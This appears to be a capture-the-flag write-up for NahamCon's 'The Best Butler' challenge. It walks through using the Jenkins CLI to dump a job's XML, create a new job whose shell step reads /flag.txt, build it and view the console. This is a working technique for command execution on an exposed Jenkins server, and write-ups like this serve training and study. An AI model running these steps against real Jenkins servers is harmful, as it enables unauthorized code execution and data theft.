The Best Butler

Challenge Description

Author: @Kkevsterrr

Truly, he’s the best butler - he might even be able to serve up a /flag.txt!

NOTE, this challenge might take a bit more time to start. The flag is located at the root of the filesystem (/flag.txt)

Solution

Jenkins running with following “system-backup” Job

changing through GUI is not possible as its broken

download the jenkins-cli https://www.jenkins.io/doc/book/managing/cli/#downloading-the-client

wget http://challenge.nahamcon.com:31404/jnlpJars/jenkins-cli.jar

get a copy of current XML config for a job:

java -jar jenkins-cli.jar -s http://challenge.nahamcon.com:31404/ get-job system-backup

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<?xml version='1.1' encoding='UTF-8'?>
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<project>
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  <description>Automated backup service for critical system files</description>
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  <keepDependencies>false</keepDependencies>
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  <properties/>
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  <scm class="hudson.scm.NullSCM"/>
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  <canRoam>false</canRoam>
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  <disabled>false</disabled>
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  <blockBuildWhenDownstreamBuilding>false</blockBuildWhenDownstreamBuilding>
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  <blockBuildWhenUpstreamBuilding>false</blockBuildWhenUpstreamBuilding>
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  <triggers/>
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  <concurrentBuild>false</concurrentBuild>
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  <builders>
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    <hudson.tasks.Shell>
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      <command>
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echo &quot;Starting system backup process...&quot;
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echo &quot;Checking backup directories...&quot;
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ls -la /var/backups/important/
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echo &quot;Backup process completed.&quot;
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</command>
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      <configuredLocalRules/>
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    </hudson.tasks.Shell>
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  </builders>
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  <publishers/>
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  <buildWrappers/>
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</project>

Edit the config to cat the /flag.txt and create a new job

cat flag.xml | java -jar jenkins-cli.jar -s http://challenge.nahamcon.com:31404/ create-job gibflag

check if the job has been created

java -jar jenkins-cli.jar -s http://challenge.nahamcon.com:31404/ list-jobs
gibflag
system-backup

start new build:

java -jar jenkins-cli.jar -s http://challenge.nahamcon.com:31404/ build gibflag

view the console:

java -jar jenkins-cli.jar -s http://challenge.nahamcon.com:31404/ console gibflag